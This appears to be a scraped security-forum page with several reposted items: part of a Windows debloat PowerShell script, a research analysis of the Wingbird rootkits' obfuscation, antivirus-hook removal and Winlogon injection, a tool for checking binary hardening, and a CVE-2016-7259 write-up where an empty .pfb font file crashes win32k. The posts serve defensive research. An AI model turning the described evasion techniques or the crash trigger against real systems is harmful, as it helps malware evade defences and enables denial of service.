# Stop-Process -Name OneDrive -ErrorAction SilentlyContinue # Start-Sleep -s 3 # $onedrive = "$env:SYSTEMROOT\SysWOW64\OneDriveSetup.exe" # If (!(Test-Path $onedrive)) { # $onedrive = "$env:SYSTEMROOT\System32\OneDriveSetup.exe" # } # Start-Process $onedrive "/uninstall" -NoNewWindow -Wait # Start-Sleep -s 3 # Stop-Process -Name explorer -ErrorAction SilentlyContinue # Start-Sleep -s 3 # Remove-Item "$env:USERPROFILE\OneDrive" -Force -Recurse -ErrorAction SilentlyContinue # Remove-Item "$env:LOCALAPPDATA\Microsoft\OneDrive" -Force -Recurse -ErrorAction SilentlyContinue # Remove-Item "$env:PROGRAMDATA\Microsoft OneDrive" -Force -Recurse -ErrorAction SilentlyContinue # If (Test-Path "$env:SYSTEMDRIVE\OneDriveTemp") { # Remove-Item "$env:SYSTEMDRIVE\OneDriveTemp" -Force -Recurse -ErrorAction SilentlyContinue # } # If (!(Test-Path "HKCR:")) { # New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null # } # Remove-Item -Path "HKCR:\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}" -Recurse -ErrorAction SilentlyContinue # Remove-Item -Path "HKCR:\Wow6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}" -Recurse -ErrorAction SilentlyContinue # Install OneDrive # $onedrive = "$env:SYSTEMROOT\SysWOW64\OneDriveSetup.exe" # If (!(Test-Path $onedrive)) { # $onedrive = "$env:SYSTEMROOT\System32\OneDriveSetup.exe" # } # Start-Process $onedrive -NoNewWindow # Uninstall default bloatware Write-Host "Uninstalling default bloatware..." # Get-AppxPackage "Microsoft.3DBuilder" | Remove-AppxPackage # Get-AppxPackage "Microsoft.BingFinance" | Remove-AppxPackage # Get-AppxPackage "Microsoft.BingNews" | Remove-AppxPackage # Get-AppxPackage "Microsoft.BingSports" | Remove-AppxPackage # Get-AppxPackage "Microsoft.BingWeather" | Remove-AppxPackage # Get-AppxPackage "Microsoft.Getstarted" | Remove-AppxPackage # Get-AppxPackage "Microsoft.MicrosoftOfficeHub" | Remove-AppxPackage # Get-AppxPackage "Microsoft.MicrosoftSolitaireCollection" | Remove-AppxPackage # Get-AppxPackage "Microsoft.Office.OneNote" | Remove-AppxPackage # Get-AppxPackage "Microsoft.People" | Remove-AppxPackage # Get-AppxPackage "Microsoft.SkypeApp" | Remove-AppxPackage # Get-AppxPackage "Microsoft.Windows.Photos" | Remove-AppxPackage # Get-AppxPackage "Microsoft.WindowsAlarms" | Remove-AppxPackage # Get-AppxPackage "Microsoft.WindowsCamera" | Remove-AppxPackage # Get-AppxPackage "microsoft.windowscommunicationsapps" | Remove-AppxPackage # Get-AppxPackage "Microsoft.WindowsMaps" | Remove-AppxPackage # Get-AppxPackage "Microsoft.WindowsPhone" | Remove-AppxPackage # Get-AppxPackage "Microsoft.WindowsSoundRecorder" | Remove-AppxPackage # Get-AppxPackage "Microsoft.XboxApp" | Remove-AppxPackage # Get-AppxPackage "Microsoft.ZuneMusic" | Remove-AppxPackage # Get-AppxPackage "Microsoft.ZuneVideo" | Remove-AppxPackage # Get-AppxPackage "Microsoft.AppConnector" | Remove-AppxPackage # Get-AppxPackage "Microsoft.ConnectivityStore" | Remove-AppxPackage # Get-AppxPackage "Microsoft.Office.Sway" | Remove-AppxPackage # Get-AppxPackage "Microsoft.Messaging" | Remove-AppxPackage # Get-AppxPackage "Microsoft.CommsPhone" | Remove-AppxPackage Get-AppxPackage "9E2F88E3.Twitter" | Remove-AppxPackage Get-AppxPackage "king.com.CandyCrushSodaSaga" | Remove-AppxPackage Get-AppxPackage "4DF9E0F8.Netflix" | Remove-AppxPackage # Get-AppxPackage "Drawboard.DrawboardPDF" | Remove-AppxPackage # Get-AppxPackage "Microsoft.MicrosoftStickyNotes" | Remove-AppxPackage # Get-AppxPackage "Microsoft.OneConnect" | Remove-AppxPackage Get-AppxPackage "D52A8D61.FarmVille2CountryEscape" | Remove-AppxPackage Get-AppxPackage "GAMELOFTSA.Asphalt8Airborne" | Remove-AppxPackage # Get-AppxPackage "Microsoft.WindowsFeedbackHub" | Remove-AppxPackage # Install default Microsoft applications # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.3DBuilder").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.BingFinance").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.BingNews").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.BingSports").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.BingWeather").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.Getstarted").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.MicrosoftOfficeHub").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.MicrosoftSolitaireCollection").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.Office.OneNote").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.People").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.SkypeApp").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.Windows.Photos").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsAlarms").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsCamera").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.windowscommunicationsapps").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsMaps").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsPhone").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsSoundRecorder").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.XboxApp").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.ZuneMusic").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.ZuneVideo").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.AppConnector").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.ConnectivityStore").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.Office.Sway").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.Messaging").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.CommsPhone").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "9E2F88E3.Twitter").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "king.com.CandyCrushSodaSaga").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "4DF9E0F8.Netflix").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Drawboard.DrawboardPDF").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.MicrosoftStickyNotes").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.OneConnect").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "D52A8D61.FarmVille2CountryEscape").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "GAMELOFTSA.Asphalt8Airborne").InstallLocation)\AppXManifest.xml" # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsFeedbackHub").InstallLocation)\AppXManifest.xml" # In case you have removed them for good, you can try to restore the files using installation medium as follows # New-Item C:\Mnt -Type Directory | Out-Null # dism /Mount-Image /ImageFile:D:\sources\install.wim /index:1 /ReadOnly /MountDir:C:\Mnt # robocopy /S /SEC /R:0 "C:\Mnt\Program Files\WindowsApps" "C:\Program Files\WindowsApps" # dism /Unmount-Image /Discard /MountDir:C:\Mnt # Remove-Item -Path C:\Mnt -Recurse # Disable Xbox DVR # If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\GameDVR")) { # New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\GameDVR" | Out-Null # } # Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\GameDVR" -Name "AllowGameDVR" -Type DWord -Value 0 # Enable Xbox DVR # Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\GameDVR" -Name "AllowGameDVR" -ErrorAction SilentlyContinue # Uninstall Windows Media Player # Write-Host "Uninstalling Windows Media Player..." # dism /online /Disable-Feature /FeatureName:MediaPlayback /Quiet /NoRestart # Install Windows Media Player # dism /online /Enable-Feature /FeatureName:MediaPlayback /Quiet /NoRestart # Uninstall Work Folders Client # Write-Host "Uninstalling Work Folders Client..." # dism /online /Disable-Feature /FeatureName:WorkFolders-Client /Quiet /NoRestart # Install Work Folders Client # dism /online /Enable-Feature /FeatureName:WorkFolders-Client /Quiet /NoRestart # Set Photo Viewer as default for bmp, gif, jpg and png Write-Host "Setting Photo Viewer as default for bmp, gif, jpg, png and tif..." If (!(Test-Path "HKCR:")) { New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null } ForEach ($type in @("Paint.Picture", "giffile", "jpegfile", "pngfile")) { New-Item -Path $("HKCR:\$type\shell\open") -Force | Out-Null New-Item -Path $("HKCR:\$type\shell\open\command") | Out-Null Set-ItemProperty -Path $("HKCR:\$type\shell\open") -Name "MuiVerb" -Type ExpandString -Value "@%ProgramFiles%\Windows Photo Viewer\photoviewer.dll,-3043" Set-ItemProperty -Path $("HKCR:\$type\shell\open\command") -Name "(Default)" -Type ExpandString -Value "%SystemRoot%\System32\rundll32.exe `"%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll`", ImageView_Fullscreen %1" } # Remove or reset default open action for bmp, gif, jpg and png # If (!(Test-Path "HKCR:")) { # New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null # } # Remove-Item -Path "HKCR:\Paint.Picture\shell\open" -Recurse # Remove-ItemProperty -Path "HKCR:\giffile\shell\open" -Name "MuiVerb" # Set-ItemProperty -Path "HKCR:\giffile\shell\open" -Name "CommandId" -Type String -Value "IE.File" # Set-ItemProperty -Path "HKCR:\giffile\shell\open\command" -Name "(Default)" -Type String -Value "`"$env:SystemDrive\Program Files\Internet Explorer\iexplore.exe`" %1" # Set-ItemProperty -Path "HKCR:\giffile\shell\open\command" -Name "DelegateExecute" -Type String -Value "{17FE9752-0B5A-4665-84CD-569794602F5C}" # Remove-Item -Path "HKCR:\jpegfile\shell\open" -Recurse # Remove-Item -Path "HKCR:\pngfile\shell\open" -Recurse # Show Photo Viewer in "Open with..." Write-Host "Showing Photo Viewer in `"Open with...`"" If (!(Test-Path "HKCR:")) { New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null } New-Item -Path "HKCR:\Applications\photoviewer.dll\shell\open\command" -Force | Out-Null New-Item -Path "HKCR:\Applications\photoviewer.dll\shell\open\DropTarget" -Force | Out-Null Set-ItemProperty -Path "HKCR:\Applications\photoviewer.dll\shell\open" -Name "MuiVerb" -Type String -Value "@photoviewer.dll,-3043" Set-ItemProperty -Path "HKCR:\Applications\photoviewer.dll\shell\open\command" -Name "(Default)" -Type ExpandString -Value "%SystemRoot%\System32\rundll32.exe `"%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll`", ImageView_Fullscreen %1" Set-ItemProperty -Path "HKCR:\Applications\photoviewer.dll\shell\open\DropTarget" -Name "Clsid" -Type String -Value "{FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}" # Remove Photo Viewer from "Open with..." # If (!(Test-Path "HKCR:")) { # New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null # } # Remove-Item -Path "HKCR:\Applications\photoviewer.dll\shell\open" -Recurse # Enable F8 boot menu options # Write-Host "Enabling F8 boot menu options..." # bcdedit /set `{current`} bootmenupolicy Legacy | Out-Null # Disable F8 boot menu options # bcdedit /set `{current`} bootmenupolicy Standard | Out-Null ########## # Restart ########## Write-Host Write-Host "Press any key to restart your system..." -ForegroundColor Black -BackgroundColor White $key = $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown") Write-Host "Restarting..." Restart-Computer Sursa: https://gist.github.com/alirobe/7f3b34ad89a159e6daa1
- 1 reply
-
- 4
-
-
Wingbird rootkit analysis In previous blog posts I've described rootkits that have been used by so-called state-sponsored actors for infecting their victims, providing malware persistence and achieving SYSTEM privileges into a system. I've mentioned Remsec (Cremes) rootkit that was used by Strider (ProjectSauron) cybergroup and Sednit rootkit of APT28 (Fancy Bear) group. While Remsec rootkit has been used by operators for executing its code in kernel mode with SMEP bypass and developed in its original style, Sednit authors developed rootkit to hide their malware activity and footprints from user eyes in "usual rootkit manner". Recently one security company that investigates activity of various cybergroups, has shared with me droppers of rootkits. I've been surprised during its analysis, because the rootkit is well protected from the analysis as well as its dropper. Analysis of both rootkits took enough time, because it contain various anti-research capabilities. Size of rootkit and dropper files was significantly increased due to using code obfuscation and the presence of much garbage instructions. Moreover, both rootkits belong to one cybergroup, were developed in targeted manner and are intended for specific victims. Concept of "targeted" already long time discussed in AVers & security community as attribute of sophisticated cyberattacks, which often have state-sponsored origins. In past we saw a lot of cyberespionage operations in which have been used unique executable files that were developed for specific victims and software they use. Described in this blog post pieces of malware satisfy all the requirements, which researchers impose to highly targeted cyberattacks and possibly state-sponsored origins. I'm sure that this malware is a part of larger cyberespionage platform. This malware as well as cyber espionage group, which leverages it, was mentioned by Microsoft MMPC in their blog post and Security Intelligence Report Volume 21 here. The group is called NEODYMIUM, while the malware is called Wingbird, Wingbird shares similarities with another famous commercial cyber espionage toolkit called Finfisher that detected by Symantec as Backdoor.Finfish. Dropper 1 First dropper has following characteristics. The dropper is well protected from various methods of static and dynamic analysis. It contains various anti- disasm/debug/VM/dump features. The dropper contains very obfuscated code with jumps to middle of instructions, garbage instructions, useless checks, useless jumps, etc. Because of using a lot of garbage instructions, size of dropper is large enough (1,3MB). The dropper is designed so that to delay its analysis as long as possible. It installs the rootkit into a system. It drops rootkit into file with name logonsrv.dat. It is intended only for rootkit dropping. High entropy level of .text section is an indicator that code is encrypted and obfuscated. The dropper and rootkit contain timestamp inside PE header that looks like legitimate. Typical end of function in dropper. All functions lead to one code. That is very obfuscated and contains useless jumps. Below are listed characteristics of Ring 0 rootkit. The rootkit code is very obfuscated, making its statical analysis almost impossible. The rootkit contains encrypted code and data inside. It does not create device object and does not communicate with Ring 3 code. It does not set any hooks in Windows kernel. It is intended only for hidden injection of malicious code into trusted Winlogon process. The rootkit creates its copy in allocated pool region that is also contains very obfuscated code. It uses self-modifying code, for example, it can modify important call or jmp instructions with another address or another register. It is designed to be hidden as far as it is possible and unloads its driver after code into Winlogon was injected. It checks presence of ESET Helper Driver (ehdrv.sys) in a system and removes its SSDT (KiServiceTable) hooks. Before doing main work, the rootkit prepares own code for execution. It allocates two non-paged buffers. One with size 0x56000 for its driver and second with size 0x10000. First buffer is used for storing newly created driver (in memory) that will do all necessary work and second buffer with some trampolines to NT kernel API. The rootkit builds its IAT with 0x2F items that are located into section of new driver. But instead of using this IAT directly, the rootkit code takes these addresses and uses it for modifying instructions and variables in the code from second pool region. It is worth to note that authors of rootkit took all possible steps to make rootkit analysis in memory much complicated. Advanced users also will have troubles with its detection via anti-rootkit tools. The rootkit does not use its original image logonsrv.dat for performing main malicious tasks. The rootkit does not rely on continuous IAT buffer in memory that can be used to simplify its analysis. The rootkit does it main work from two allocated memory (pool) blocks with self-modifying code. One of these blocks is used as special trampoline for NT kernel API calls. It uses KeDelayExecutionThread function before doing main work, i. e. before injection code into Winlogon. Below you can see code from second allocated buffer with size 0x10000 that contains trampolines to imported by rootkit NT API. Another code from created driver (from first buffer) rewrites instructions in these trampolines with addresses from IAT. After the end of preliminary actions, the rootkit calls ZwOpenKey for opening its registry key and reads value of ImagePathparameter with help of ZwQueryValueKey. Between two calls rootkit modifies own instructions as shown below. After calling ZwQueryValueKey, the code has been modified again for calling PsCreateSystemThread. The rootkit creates two threads with PsCreateSystemThread API and one of them is used for performing main malicious work. Below you can see the scheme of rootkit execution. It prepares code that will be injected into Winlogon and reads \KnownDlls\ntdll.dll section that represents content of Ntdll library for easy access. The rootkit also imports KeServiceDescriptorTable variable for getting address of KiServiceTable and restore items in this table. It seems only one function in rootkit body was not obfuscated. This function specializes in enumeration of system modules. The rootkit code calls it several times, for getting NT kernel base address, Ntdll base address and for checking presence of ESET helper driver (ehdrv.sys). As you can see above, authors take interest in NT kernel files, because they need to restore original SSDT functions. Interesting to note that authors have been used same scheme for obfuscating rootkit driver like they did in case of dropper. We can find same functions construction inside rootkit body. As you can see on image above, all functions again lead to one code that is obfuscated with garbage instructions. Also interesting that startup code in both dropper and driver didn't contain obfuscation. Considering above information and this fact, it seems that for obfuscation driver and dropper has been used one tool that launches process of obfuscation before compiler will generate code. i. e. on source code level. The rootkit allocates three buffers into Winlogon process. First with size 0x100000, second 0x3000 and third 0x48000. The following Ntoskrnl functions are used by the rootkit. Dropper 2 Next characteristics are related to second dropper. Like first dropper, this dropper is well protected from various methods of static and dynamic analysis. The dropper has same size 1.3MB. The dropper drops Ring 0 rootkit into a file with name ndisclient.dat. Some information about dropper behaviour. Some characteristics of driver. Designed to communicate with user mode client with help of device \Device\PhysicalDrive00 and symbolic link to it \DosDevices\PhysicalDrive00. It has a smaller size than driver from first dropper (43 KB vs 372 KB). It registers three IRP dispatch entry points for IRP_MJ_CREATE, IRP_MJ_CLOSE and IRP_MJ_DEVICE_CONTROL requests. The rootkit checks presence of driver \Driver\diskpt (Shadow Defender shadowdefender.com) and \Driver\DfDiskLowDfDiskLow.sys (Deep Freeze Faronics Corp). It contains code for parse object manager name space via functions ZwOpenDirectoryObject, ObQueryNameString. It contains obfuscated, self-modificated code that is hard for both static and dynamic analysis. Authors have provided DriverUnload function. The rootkit is intended for FS sandbox bypassing and for modifying files directly on low hard disk level. The rootkit allocates pool block in DriverEntry that is used for already familiar to us trampoline to NT kernel API (like in first driver). Below you can see image with major steps of execution flow of rootkit's DriverEntry. Part of IRP_MJ_DEVICE_CONTROL handler code is presented below. The rootkit code in DriverEntry retrieves pointer to device object that represents hard disk(s) by port-driver (atapi). This information is used subsequently in code that dispatches IRP_MJ_DEVICE_CONTROL operation for sending synchronous requests to port-driver with standart set of functions: MmMapLockedPagesSpecifyCache, IoAllocateMdl for work with non-paged memory and direct I/O. IoBuildSynchronousFsdRequest, IofCallDriver to build a correponding IRP and send it to driver. MmUnmapLockedPages, IoFreeMdl for releasing resources. Below you can see table with characteristics of both analyzed drivers. Conclusion Authors of this malware took almost all efforts to hamper both the static and dynamic analysis. The first rootkit serves only for one purpose - to inject malicious code into Winlogon system process. It checks presence of ESET Helper Driver due to it ability to block rootkit malicious actions and attackers seems sure that their victim uses this security product. As you can see from the analysis due to high level of code obfuscation, it is useless to show images of rootkit code, because it do not help for building logic of its execution. Malware authors have used special instrument for droppers and rootkits obfuscation. It's not clear, why attackers did not care about rootkit persistence into a system and why it not guards own registry key. Both rootkits are targeted on executing only one specific task: first is used for data/code injection into Winlogon and second to communicate with hard drive on low level. The rootkit from second dropper doesn't care about own persistence: the dropper removes its driver from disk once it was loaded into memory. It is worth to note that checking of presence of specific security products are correspond with the goals of both rootkits. For example, first driver checks presence of AV driver, when second driver is targeted only on system utilities that specialize on guarding a system from critical modifications. Both security/system products Shadow Defender and Faronics Deep Freeze to leverage FS sandbox methods for blocking potential malicious actions for protected files in a system. This is an answer why attackers need low level disk access - they need to bypass FS sandbox and modify required files directly. Posted Yesterday by Artem Sursa: https://artemonsecurity.blogspot.ro/2017/01/wingbird-rootkit-analysis.html
-
- 1
-
-
Introducing Serene 2016.12.22 Windows Defender checked with Serene I use a number of mountaineering references here on Summit Route, much to everyone's confusion. Mountaineering, like information security, involves risk management and the application of best practices to reduce the inherent risks. Rock climbing is one aspect of mountaineering, and it requires you to secure your ropes to an anchor (ex. a tree, crack, or rock feature). The acronym SERENE is used as a checklist to review your anchor. The anchor needs to be Solid, Equalized, Redundant, Efficient, and No Extension (SERENE). This doesn't check the quality of the rope, your harness, the weather, your current physical state, or many other things that will affect your safety, but it's a simple series of checks for one thing that ensures you're applying best practices. SERENE anchor from wikipedia Similarly, I built a tool call that I call Serene to perform a couple of best practice checks on executable binaries. It's not an acronym, because there is nothing for you to remember, as it does the work for you. When a Windows executable, such as a .exe or .dll (a PE file), or an Apple mach-o file is compiled, there are a few settings that can improve its security. These include: DEP/NX: Denies execution on the stack. ASLR/PIE: Loads the binary into a random place in memory. CFG (Windows only): Restricts what execution paths can be taken. x64: Allows a 64-bit memory space to be used for ASLR/PIE. Serene is a simple static web app (meaning no backend server, it's just a javascript file that runs locally). You can drag and drop files or folders to it and it will identify the executable binaries, perform its checks, and display the results. I do not collect copies of files, but I still advise that you should not drag and drop sensitive files to sites no matter what their stated policies are. My primary use case for making Serene is when I evaluate products at the company I work at. I want to get an idea of the software development practices, so this tool gives me some quick insight into that. Examples Windows Defender Microsoft's Windows Defender, the default AV for Windows, can be dragged and dropped to Serene by using the folder C:\Program Files\Windows Defender\, resulting in: Windows Defender As you can see it follows all the best practices that Serene checks for. This also shows how Serene tells you that DEP is not applicable (N/A) to these files because all 64-bit processes have DEP applied by default. Furthermore, Windows Defender includes a number of MUI files which do not include code and therefore don't play into the security of the applications, so they are ignored. Google Chrome on macOS Google Chrome on macOS can be analyzed by dragging and dropping the Google Chrome icon in the Applications directory, which ends up being a .app file containing the executables. Google Chrome on macOS As you can see this time I show NX and PIE which are the equivalents of DEP and ASLR on Windows, and don't show CFG, which has no relevance to macOS. Only some install files are missing PIE and 32-bit, so it's not too worrying. Checking files without Serene Serene makes it easy to check files, but you might want to to this via the command-line. You may also just want to double-check my work. To perform the same checks as Serene, using the official tools, do one of the following: Windows executables Windows executables are PE files and can be checked using the Visual Studio tool dumpbin. Run dumpbin /headers yourfile.exe First look at FILE HEADER VALUES for the machine to determine if it is 64-bit or 32-bit. Next, look in the OPTIONAL HEADER VALUES for the Dll Characteristics section for the phrases Dynamic base (ASLR), NX compatible (DEP), and Guard (CFG). Using dumpbin to perform the same checks as Serene macOS executables To manually check macOS mach-o files, use the XCode tool otool. Run otool -hv yourfile. First look at the cputype to see if it is X86_64 to determine if it is 64-bit. Next check the flags to see if it contains PIE. Determining if it has NX is identified by the lack of MH_ALLOW_STACK_EXECUTION (probably called something else, as I just check for that bit in the binary and don't know what the tool calls it). Using otool to perform the same checks as Serene Known limitations On macOS, I don't currently handle mach-o files containing multiple architectures, which is an admittedly large limitation. I also do not yet support ELF files, which I hope to one day handle. It only works with x86 and x86-64 executables, not ARM. Anything compiled with Golang will not have ASLR/PIE. This is a decision by the language creators as Golang is a secure language, but if the process imports a C library, it exposes itself to possible issues. As such, I didn't want to skip Golang binaries. On Windows, an executable can enable DEP without it being compiled into the binary. If you don't have permissions to read a file, Serene may lock up and you'll need to refresh the page. Finally, there are all sorts of ways an application can be insecure or more secure than Serene shows. This is only identifying one set of features. Other comments This is really just some improvements to a project of mine from 2012 called SlopFinder. Sursa: https://summitroute.com/blog/2016/12/22/introducing_serene/
-
CVE-2016-7259: An empty file into the blue Date Wed 14 December 2016 By Sebastien Renaud A binary analysis of CVE-2016-7259: A win32k kernel bug. Forewords The vulnerability was found by one of our fuzzers in 2015 (made by Richard) and analyzed later by me (Sebastien). The vulnerability deals with *.pfm and *.pfb files (strangely enough, not their format per se): Printer Font Metric (PFM) is a binary version of AFM (Adobe Font Metrics). It contains font metric information. Printer Font Binary (PFB) is a binary PostScript font format created by Adobe Systems. It contains a font's glyph data. Vulnerability Description A crash in the Windows windowing kernel graphic component (win32k.sys) happens when a specially crafted PostScript Type 1 font (*.pfm) font file is loaded. The crash is due to Windows OS not properly checking that the size of the related *.pfb file size is 0. Simply put: having an empty *.pfb file crashes the system. Stack Trace (See version_information section for software version information) Information and stack trace at time of crash with public Microsoft symbols: ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 1E, {c0000005, 8e3c7280, 0, 18} *** WARNING: Unable to verify checksum for Test.exe *** ERROR: Module load completed but symbols could not be loaded for Test.exe Probably caused by : win32k.sys ( win32k!PUBLIC_PFTOBJ::bLoadFonts+ffffffffffffff33 ) Followup: MachineOwner --------- nt!RtlpBreakWithStatusInstruction: 8216a9f4 cc int 3 1: kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* KMODE_EXCEPTION_NOT_HANDLED (1e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Arguments: Arg1: c0000005, The exception code that was not handled Arg2: 8e3c7280, The address that the exception occurred at Arg3: 00000000, Parameter 0 of the exception Arg4: 00000018, Parameter 1 of the exception Debugging Details: ------------------ BUGCHECK_P1: ffffffffc0000005 BUGCHECK_P2: ffffffff8e3c7280 BUGCHECK_P3: 0 BUGCHECK_P4: 18 READ_ADDRESS: 00000018 EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. FAULTING_IP: win32k!PUBLIC_PFTOBJ::bLoadFonts+ffffffffffffff33 8e3c7280 f6411808 test byte ptr [ecx+18h],8 EXCEPTION_PARAMETER2: 00000018 BUGCHECK_STR: 0x1E_c0000005_R CPU_COUNT: 4 CPU_MHZ: db6 CPU_VENDOR: GenuineIntel CPU_FAMILY: 6 CPU_MODEL: 3a CPU_STEPPING: 9 DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT PROCESS_NAME: ConsoleApplica CURRENT_IRQL: 0 ANALYSIS_VERSION: 10.0.10240.9 x86fre EXCEPTION_RECORD: a8815898 -- (.exr 0xffffffffa8815898) ExceptionAddress: 8e3c7280 (win32k!PUBLIC_PFTOBJ::bLoadFonts+0xffffff33) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 00000018 Attempt to read from address 00000018 TRAP_FRAME: a8815974 -- (.trap 0xffffffffa8815974) ErrCode = 00000000 eax=00000000 ebx=00000000 ecx=00000000 edx=00c295b0 esi=9ee20398 edi=00000002 eip=8e3c7280 esp=a88159e8 ebp=a8815a4c iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 win32k!PUBLIC_PFTOBJ::bLoadFonts+0xffffffff`ffffff33: 8e3c7280 f6411808 test byte ptr [ecx+18h],8 ds:0023:00000018=?? Resetting default scope LAST_CONTROL_TRANSFER: from 821e6aeb to 8216a9f4 STACK_TEXT: a8814ee4 821e6aeb 00000003 6296f150 00000065 nt!RtlpBreakWithStatusInstruction a8814f38 821e6605 8303f340 a8815338 a881536c nt!KiBugCheckDebugBreak+0x1f a881530c 821695c6 0000001e c0000005 8e3c7280 nt!KeBugCheck2+0x676 a8815330 821694fd 0000001e c0000005 8e3c7280 nt!KiBugCheck2+0xc6 a8815350 821e479b 0000001e c0000005 8e3c7280 nt!KeBugCheckEx+0x19 a881536c 8217f672 a8815898 8226f180 a8815460 nt!KiFatalExceptionHandler+0x1a a8815390 8217f644 a8815898 8226f180 a8815460 nt!ExecuteHandler2+0x26 a8815450 820fa3bd a8815898 a8815460 00010037 nt!ExecuteHandler+0x24 a881587c 8217b156 a8815898 00000000 a8815974 nt!KiDispatchException+0x101 a88158e8 8217d99b 00000000 00000000 00000000 nt!KiDispatchTrapException+0x4e 